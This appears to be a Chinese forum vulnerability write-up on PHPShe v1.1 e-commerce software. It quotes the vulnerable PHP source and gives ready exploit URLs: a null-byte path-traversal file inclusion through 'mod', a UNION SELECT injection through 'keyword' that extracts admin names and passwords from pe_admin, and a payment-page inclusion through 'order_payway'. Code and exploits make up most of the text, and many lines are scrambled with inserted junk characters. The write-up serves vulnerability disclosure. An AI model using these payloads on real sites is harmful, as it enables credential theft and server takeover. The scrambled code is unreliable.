phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
3 v* R! ], ?7 d8 B2 G2 n/* By: : Kn1f3
5 w1 Q2 w9 [# r/* E-Mail : 681796@qq.com
% U  \! ~- m2 s/*******************************************************/
, e" N5 b8 I. ]* |0×00 整体大概参数传输
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. L$ {! q5 \( r//common.php
- |! M$ }  \3 o: I+ i% Y" `if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 K3 P# y/ z% Q, p+ ?9 s* N! a}
session_start();
6 I' Q% r- ]+ b$ [( B2 K!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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% ]% G/ X# E7 |( ^' Z& v9 k//首页文件
* ?0 \3 t" x, t<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
# o6 U# p* }4 f3 }1 Ninclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
, I% J) K8 p: m) W2 vpe_result();
! r) V$ v9 s# P! w) C?>
//common 文件 第15行开始
url路由配置
" k) d, |  w8 u: A$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
' c7 ^; n, r4 X" r9 j( L, F' J$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
) ^! O& r- ?) K2 ]2 X: g$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 ~- C# n2 S# f* i2 L//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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; H- c) F9 _/ \! [ 0×02 搜索注入

8 v" c* y- ]% S+ S/ R<code id="code2">

//product.php文件
' B* h  v! Z& m8 I5 |case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
: v, K) o- |0 _' `4 j7 X& p9 S//搜索
. w+ J2 X$ K; ^( F- C- C& m8 {$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
5 C- e& g" D4 J* Z4 ~7 {4 u2 ^6 Gif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
* u1 j1 G3 O$ t. s& ~  Pif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
( w2 |, s. d1 z: {4 u//当前路径
# B& I! l4 [$ U$ X- h  k$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
! \7 W7 }9 `$ ?( K. Sinclude(pe_tpl('product_list.html'));
; q  v* |  o$ l0 l2 B, W//跟进selectall函数库
) z3 l; [3 G, g1 Zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
& u0 b% J' Q" o9 X/ r/ I( D$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
+ e' s2 M) D% M% Q/ d4 N1 n3 M  k}
//exp
# ?1 C7 o1 w8 ^6 d( C# Aproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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8 V- M$ u+ w% p+ {% T% @<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

# q3 L0 Q- A$ j. o& P6 |foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

( h; a7 h4 n; [! B+ K) M' l}

}

, |  i7 @* g7 o, S9 c$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

% S% e  H9 W# m* ~if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

! h. w6 r+ q5 M$ Y9 b$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

  D1 I9 c+ D' W* E$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

  K! w: D+ Z8 n, {: A' Minclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

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}

& p$ F+ }7 Z( D/ p8 O$seo = pe_seo('选择支付方式');

- G8 x( c) G. H; C! h: Ninclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>